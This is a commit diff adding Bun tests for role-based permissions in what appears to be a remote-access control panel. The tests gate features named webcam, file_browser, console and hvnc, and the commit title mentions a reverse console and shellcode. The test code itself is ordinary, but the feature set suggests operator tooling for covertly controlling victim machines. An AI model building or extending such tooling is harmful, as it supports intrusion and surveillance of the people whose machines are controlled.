RBAC changes + fix rev console and process view in shellcode

This commit is contained in:
KingKDot
2026-05-18 21:34:35 -05:00
parent 9e4a6468d3
commit af05a807c6
9 changed files with 1205 additions and 152 deletions
@@ -0,0 +1,323 @@
import { describe, expect, test } from "bun:test";
import { generateToken } from "../../auth";
import {
ALL_FEATURES,
createUser,
deleteUser,
getUserById,
setUserClientAccessScope,
setUserFeaturePermission,
} from "../../users";
import { handleAuthRoutes } from "./auth-routes";
const PASSWORD = "Aa1!AuthRoutesFeaturePermsTest_2026";
const mockServer = {
requestIP: () => ({ address: "127.0.0.1" }),
};
async function createTokenFor(role: "admin" | "operator" | "viewer") {
const username = `me_${role.slice(0, 3)}_${Date.now().toString(36)}_${Math.floor(Math.random() * 1e6).toString(36)}`;
const created = await createUser(username, PASSWORD, role, "test");
expect(created.success).toBe(true);
expect(typeof created.userId).toBe("number");
const user = getUserById(created.userId!);
expect(user).not.toBeNull();
const token = await generateToken(user!);
return { userId: created.userId!, token, username, role };
}
describe("/api/auth/me featurePermissions", () => {
test("admin gets every feature allowed in /api/auth/me", async () => {
const auth = await createTokenFor("admin");
try {
const url = new URL("https://localhost/api/auth/me");
const res = await handleAuthRoutes(
new Request(url, {
method: "GET",
headers: { Authorization: `Bearer ${auth.token}` },
}),
url,
mockServer,
);
expect(res).not.toBeNull();
expect(res!.status).toBe(200);
const body = (await res!.json()) as any;
expect(body.username).toBe(auth.username);
expect(body.role).toBe("admin");
expect(body.featurePermissions).toBeDefined();
for (const f of ALL_FEATURES) {
expect(body.featurePermissions[f]).toBe(true);
}
} finally {
deleteUser(auth.userId);
}
});
test("operator gets every feature allowed by default in /api/auth/me", async () => {
const auth = await createTokenFor("operator");
try {
const url = new URL("https://localhost/api/auth/me");
const res = await handleAuthRoutes(
new Request(url, {
method: "GET",
headers: { Authorization: `Bearer ${auth.token}` },
}),
url,
mockServer,
);
const body = (await res!.json()) as any;
expect(body.role).toBe("operator");
for (const f of ALL_FEATURES) {
expect(body.featurePermissions[f]).toBe(true);
}
} finally {
deleteUser(auth.userId);
}
});
test("operator-denied features are reflected in /api/auth/me", async () => {
const auth = await createTokenFor("operator");
try {
setUserFeaturePermission(auth.userId, "webcam", false);
setUserFeaturePermission(auth.userId, "file_browser", false);
const url = new URL("https://localhost/api/auth/me");
const res = await handleAuthRoutes(
new Request(url, {
method: "GET",
headers: { Authorization: `Bearer ${auth.token}` },
}),
url,
mockServer,
);
const body = (await res!.json()) as any;
expect(body.featurePermissions.webcam).toBe(false);
expect(body.featurePermissions.file_browser).toBe(false);
expect(body.featurePermissions.console).toBe(true);
expect(body.featurePermissions.hvnc).toBe(true);
} finally {
deleteUser(auth.userId);
}
});
test("viewer gets every feature denied in /api/auth/me", async () => {
const auth = await createTokenFor("viewer");
try {
const url = new URL("https://localhost/api/auth/me");
const res = await handleAuthRoutes(
new Request(url, {
method: "GET",
headers: { Authorization: `Bearer ${auth.token}` },
}),
url,
mockServer,
);
const body = (await res!.json()) as any;
expect(body.role).toBe("viewer");
for (const f of ALL_FEATURES) {
expect(body.featurePermissions[f]).toBe(false);
}
} finally {
deleteUser(auth.userId);
}
});
test("/api/auth/me requires authentication", async () => {
const url = new URL("https://localhost/api/auth/me");
const res = await handleAuthRoutes(
new Request(url, { method: "GET" }),
url,
mockServer,
);
expect(res).not.toBeNull();
expect(res!.status).toBe(401);
});
});
describe("/api/auth/feature-check", () => {
test("operator with allowed feature and accessible client returns allowed=true", async () => {
const auth = await createTokenFor("operator");
try {
setUserClientAccessScope(auth.userId, "all");
const url = new URL("https://localhost/api/auth/feature-check?feature=console&clientId=client-x");
const res = await handleAuthRoutes(
new Request(url, {
method: "GET",
headers: { Authorization: `Bearer ${auth.token}` },
}),
url,
mockServer,
);
expect(res!.status).toBe(200);
const body = (await res!.json()) as any;
expect(body.allowed).toBe(true);
} finally {
deleteUser(auth.userId);
}
});
test("operator with revoked feature returns allowed=false with reason 'feature'", async () => {
const auth = await createTokenFor("operator");
try {
setUserClientAccessScope(auth.userId, "all");
setUserFeaturePermission(auth.userId, "webcam", false);
const url = new URL("https://localhost/api/auth/feature-check?feature=webcam&clientId=client-x");
const res = await handleAuthRoutes(
new Request(url, {
method: "GET",
headers: { Authorization: `Bearer ${auth.token}` },
}),
url,
mockServer,
);
expect(res!.status).toBe(200);
const body = (await res!.json()) as any;
expect(body.allowed).toBe(false);
expect(body.denied).toContain("feature");
expect(body.denied).not.toContain("client");
} finally {
deleteUser(auth.userId);
}
});
test("operator without client access returns allowed=false with reason 'client'", async () => {
const auth = await createTokenFor("operator");
try {
// default client_scope=none
const url = new URL("https://localhost/api/auth/feature-check?feature=console&clientId=client-x");
const res = await handleAuthRoutes(
new Request(url, {
method: "GET",
headers: { Authorization: `Bearer ${auth.token}` },
}),
url,
mockServer,
);
expect(res!.status).toBe(200);
const body = (await res!.json()) as any;
expect(body.allowed).toBe(false);
expect(body.denied).toContain("client");
expect(body.denied).not.toContain("feature");
} finally {
deleteUser(auth.userId);
}
});
test("both feature and client denied returns both reasons", async () => {
const auth = await createTokenFor("operator");
try {
setUserFeaturePermission(auth.userId, "hvnc", false);
// client_scope stays "none" => no access
const url = new URL("https://localhost/api/auth/feature-check?feature=hvnc&clientId=client-x");
const res = await handleAuthRoutes(
new Request(url, {
method: "GET",
headers: { Authorization: `Bearer ${auth.token}` },
}),
url,
mockServer,
);
const body = (await res!.json()) as any;
expect(body.allowed).toBe(false);
expect(body.denied).toContain("feature");
expect(body.denied).toContain("client");
} finally {
deleteUser(auth.userId);
}
});
test("viewer is denied every feature", async () => {
const auth = await createTokenFor("viewer");
try {
const url = new URL("https://localhost/api/auth/feature-check?feature=console&clientId=client-x");
const res = await handleAuthRoutes(
new Request(url, {
method: "GET",
headers: { Authorization: `Bearer ${auth.token}` },
}),
url,
mockServer,
);
const body = (await res!.json()) as any;
expect(body.allowed).toBe(false);
expect(body.denied).toContain("feature");
} finally {
deleteUser(auth.userId);
}
});
test("admin is allowed every feature, even with no client_scope", async () => {
const auth = await createTokenFor("admin");
try {
const url = new URL("https://localhost/api/auth/feature-check?feature=webcam&clientId=client-x");
const res = await handleAuthRoutes(
new Request(url, {
method: "GET",
headers: { Authorization: `Bearer ${auth.token}` },
}),
url,
mockServer,
);
const body = (await res!.json()) as any;
expect(body.allowed).toBe(true);
} finally {
deleteUser(auth.userId);
}
});
test("invalid feature name returns 400", async () => {
const auth = await createTokenFor("operator");
try {
const url = new URL("https://localhost/api/auth/feature-check?feature=not_a_feature&clientId=client-x");
const res = await handleAuthRoutes(
new Request(url, {
method: "GET",
headers: { Authorization: `Bearer ${auth.token}` },
}),
url,
mockServer,
);
expect(res!.status).toBe(400);
} finally {
deleteUser(auth.userId);
}
});
test("unauthenticated request returns 401", async () => {
const url = new URL("https://localhost/api/auth/feature-check?feature=console&clientId=client-x");
const res = await handleAuthRoutes(
new Request(url, { method: "GET" }),
url,
mockServer,
);
expect(res).not.toBeNull();
expect(res!.status).toBe(401);
});
test("clientId is optional — feature-only check works without clientId", async () => {
const auth = await createTokenFor("operator");
try {
setUserFeaturePermission(auth.userId, "webcam", false);
const url = new URL("https://localhost/api/auth/feature-check?feature=webcam");
const res = await handleAuthRoutes(
new Request(url, {
method: "GET",
headers: { Authorization: `Bearer ${auth.token}` },
}),
url,
mockServer,
);
const body = (await res!.json()) as any;
expect(body.allowed).toBe(false);
expect(body.denied).toEqual(["feature"]);
} finally {
deleteUser(auth.userId);
}
});
});